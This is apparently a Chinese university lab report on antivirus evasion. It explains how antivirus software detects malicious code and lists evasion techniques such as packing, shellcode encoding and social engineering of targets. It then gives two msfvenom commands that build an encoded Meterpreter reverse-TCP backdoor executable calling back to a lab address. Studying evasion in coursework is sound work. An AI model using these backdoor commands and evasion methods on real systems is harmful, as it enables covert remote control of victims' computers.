20201226马瑞婕Exp-免杀原理与实践
目录
1 基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码进行检测
特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码,杀软是对片这样的段作为识别依据。
利用启发式恶意软件检测
根据些片面特征去推断,通常是因为缺乏精确判定依据。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。
基于行为的恶意软件检测
基于行为的恶意软件检测方法是通过追踪恶意软件执行的行为轨迹来捕获程序的恶意活动。
1.2 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
1.3 免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
-
修改内存特征码
-
等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
-
通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
-
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
1.4开启杀软能绝对防止电脑中恶意代码吗?
然而并不能。恶意代码可以通过很多手段伪装自己,导致杀软无法识别。
2 实验环境
https://www.virustotal.com/gui/home/upload
3 实践内容
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)


使用Unicode编码
编码一次
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.48.129 LPORT=1226-f exe > 20201226backdoor.exe



进行检测,并未改变

编码多次(此处采用我学号的序号26来进行编码)
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -26 -b ‘\x00’ LHOST=192.168.48.129 LPORT=1226 -f exe > 20201226back.exe
参数意思:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数
